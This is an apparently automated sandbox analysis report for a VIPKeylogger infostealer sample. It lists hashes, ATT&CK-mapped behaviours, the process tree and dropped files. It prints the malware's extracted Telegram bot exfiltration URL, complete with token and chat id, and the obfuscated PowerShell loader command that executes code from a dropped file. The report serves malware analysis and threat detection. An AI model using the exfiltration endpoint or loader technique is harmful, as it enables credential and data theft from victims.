vipkeylogger | f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
21-02-2025 04:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe
Size

1.5MB
MD5

65249febec3f7bde1c51b92ff5d3c4a7
SHA1

459c11b637dc859eacea6d65489729f7b32fbf27
SHA256

f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6
SHA512

e739a509aa7029116395a436f6b9c07e9e74bae0e81c312e0e0663c315be862a118b18d60c45b72268b47ad09a13ed0c9db54d4f97eba474c154d14d8cbe9a1c
SSDEEP

24576:nMwM9cEY0ASIJSEwseD6Ph717SM5vw+WDC5InZ/L9GrsXpJzXo1AH9HBevK9Y9Ey:nMwLhcOPhNSM9w+wCyig5JzXo1AtBUK2

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7905739203:AAHVrbaqwZh7jsUdl3dYwh5_SurA4XOPFCU/sendMessage?chat_id=8187594209

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Loads dropped DLL 1 IoCs

pid	Process
4028	f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
32	2272	msiexec.exe
35	2272	msiexec.exe
37	2272	msiexec.exe
39	2272	msiexec.exe
41	2272	msiexec.exe
45	2272	msiexec.exe
47	2272	msiexec.exe
51	2272	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
32	drive.google.com
31	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	checkip.dyndns.org
46	reallyfreegeoip.org
47	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2272	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4744	powershell.exe
2272	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\ferieaftalernes\udbringningen.gru	f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4744	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
2272	msiexec.exe
2272	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4744	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeIncreaseQuotaPrivilege	4744	powershell.exe
Token: SeSecurityPrivilege	4744	powershell.exe
Token: SeTakeOwnershipPrivilege	4744	powershell.exe
Token: SeLoadDriverPrivilege	4744	powershell.exe
Token: SeSystemProfilePrivilege	4744	powershell.exe
Token: SeSystemtimePrivilege	4744	powershell.exe
Token: SeProfSingleProcessPrivilege	4744	powershell.exe
Token: SeIncBasePriorityPrivilege	4744	powershell.exe
Token: SeCreatePagefilePrivilege	4744	powershell.exe
Token: SeBackupPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeSystemEnvironmentPrivilege	4744	powershell.exe
Token: SeRemoteShutdownPrivilege	4744	powershell.exe
Token: SeUndockPrivilege	4744	powershell.exe
Token: SeManageVolumePrivilege	4744	powershell.exe
Token: 33	4744	powershell.exe
Token: 34	4744	powershell.exe
Token: 35	4744	powershell.exe
Token: 36	4744	powershell.exe
Token: SeDebugPrivilege	2272	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4028 wrote to memory of 4744	4028	f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe	87
PID 4028 wrote to memory of 4744	4028	f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe	87
PID 4028 wrote to memory of 4744	4028	f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe	87
PID 4744 wrote to memory of 2272	4744	powershell.exe	90
PID 4744 wrote to memory of 2272	4744	powershell.exe	90
PID 4744 wrote to memory of 2272	4744	powershell.exe	90
PID 4744 wrote to memory of 2272	4744	powershell.exe	90

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe
"C:\Users\Admin\AppData\Local\Temp\f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Anskueliggres=gc -Raw 'C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Kinestheses.Tra';$Sprrereglernes=$Anskueliggres.SubString(54058,3);.$Sprrereglernes($Anskueliggres)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhfo3u0q.t1n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsiA6B1.tmp\nsExec.dll

Filesize
7KB

MD5
4c77a65bb121bb7f2910c1fa3cb38337

SHA1
94531e3c6255125c1a85653174737d275bc35838

SHA256
5e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe

SHA512
df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04

Download Submit
C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Kinestheses.Tra

Filesize
52KB

MD5
4281bb34dbc6a97669b1815f61d33612

SHA1
605f5b8e73077d2814da07642031ce974b08f2cd

SHA256
4903967d23168ae80a460eb825ad870aa4dcdc57932a522999442f4612ef3c20

SHA512
9062f880f1d9af15da31f40a648677d1bc8d581c19aebff91628dcb9dc1c00b461270cf0b37f29fa26522fc75d4cf3e4476fd95d26ee7162a8c9aa44b2c52184

Download Submit
C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Muskinesses.Spi

Filesize
320KB

MD5
f195683d18325a42c4304eeb0dc6367a

SHA1
55a61c425735952bade435bf3ce82a181bbdf3c8

SHA256
b2723eac8aabe559621c85ab475078ba196da645d2e5a2618a318df01b70ebe9

SHA512
1bd37d58671faa0d62b44a85f3dc321ca25315b3d3735d90f1c688edcdb7921b12e175d277e7ec385e4cebadaf5e70c2ae7b7d50fbe1c2e670482bd836e5827a

Download Submit
memory/2272-97-0x0000000000B70000-0x0000000001DC4000-memory.dmp

Filesize
18.3MB

Download
memory/2272-102-0x0000000000B70000-0x0000000000BBA000-memory.dmp

Filesize
296KB

Download
memory/2272-110-0x0000000026560000-0x000000002656A000-memory.dmp

Filesize
40KB

Download
memory/2272-109-0x00000000265A0000-0x0000000026632000-memory.dmp

Filesize
584KB

Download
memory/2272-107-0x0000000026D60000-0x000000002728C000-memory.dmp

Filesize
5.2MB

Download
memory/2272-106-0x0000000025E70000-0x0000000025EC0000-memory.dmp

Filesize
320KB

Download
memory/2272-105-0x0000000026660000-0x0000000026822000-memory.dmp

Filesize
1.8MB

Download
memory/2272-101-0x0000000000B70000-0x0000000001DC4000-memory.dmp

Filesize
18.3MB

Download
memory/2272-103-0x0000000025A10000-0x0000000025AAC000-memory.dmp

Filesize
624KB

Download
memory/4744-65-0x0000000007DE0000-0x0000000007E83000-memory.dmp

Filesize
652KB

Download
memory/4744-71-0x00000000086A0000-0x00000000086A8000-memory.dmp

Filesize
32KB

Download
memory/4744-44-0x00000000069C0000-0x0000000006A0C000-memory.dmp

Filesize
304KB

Download
memory/4744-45-0x0000000007A30000-0x0000000007AC6000-memory.dmp

Filesize
600KB

Download
memory/4744-46-0x0000000006E70000-0x0000000006E8A000-memory.dmp

Filesize
104KB

Download
memory/4744-47-0x0000000006EE0000-0x0000000006F02000-memory.dmp

Filesize
136KB

Download
memory/4744-48-0x0000000008080000-0x0000000008624000-memory.dmp

Filesize
5.6MB

Download
memory/4744-50-0x0000000008CB0000-0x000000000932A000-memory.dmp

Filesize
6.5MB

Download
memory/4744-62-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-63-0x0000000007D70000-0x0000000007D8E000-memory.dmp

Filesize
120KB

Download
memory/4744-52-0x00000000700B0000-0x00000000700FC000-memory.dmp

Filesize
304KB

Download
memory/4744-64-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-51-0x0000000007D90000-0x0000000007DC2000-memory.dmp

Filesize
200KB

Download
memory/4744-38-0x0000000006380000-0x00000000066D4000-memory.dmp

Filesize
3.3MB

Download
memory/4744-66-0x0000000007F00000-0x0000000007F0A000-memory.dmp

Filesize
40KB

Download
memory/4744-67-0x0000000008060000-0x0000000008071000-memory.dmp

Filesize
68KB

Download
memory/4744-68-0x0000000008660000-0x000000000866E000-memory.dmp

Filesize
56KB

Download
memory/4744-69-0x0000000008670000-0x0000000008684000-memory.dmp

Filesize
80KB

Download
memory/4744-70-0x00000000086B0000-0x00000000086CA000-memory.dmp

Filesize
104KB

Download
memory/4744-43-0x0000000006990000-0x00000000069AE000-memory.dmp

Filesize
120KB

Download
memory/4744-72-0x00000000086B0000-0x00000000086DA000-memory.dmp

Filesize
168KB

Download
memory/4744-73-0x0000000008700000-0x0000000008724000-memory.dmp

Filesize
144KB

Download
memory/4744-74-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-77-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-76-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

Filesize
4KB

Download
memory/4744-78-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-80-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-81-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-82-0x0000000009330000-0x000000000F129000-memory.dmp

Filesize
94.0MB

Download
memory/4744-83-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-84-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-31-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/4744-32-0x0000000006310000-0x0000000006376000-memory.dmp

Filesize
408KB

Download
memory/4744-30-0x0000000005AD0000-0x0000000005AF2000-memory.dmp

Filesize
136KB

Download
memory/4744-29-0x0000000005B80000-0x00000000061A8000-memory.dmp

Filesize
6.2MB

Download
memory/4744-28-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-27-0x0000000003390000-0x00000000033C6000-memory.dmp

Filesize
216KB

Download
memory/4744-26-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

Filesize
4KB

Download
memory/4744-85-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download
memory/4744-87-0x0000000073C20000-0x00000000743D0000-memory.dmp

Filesize
7.7MB

Download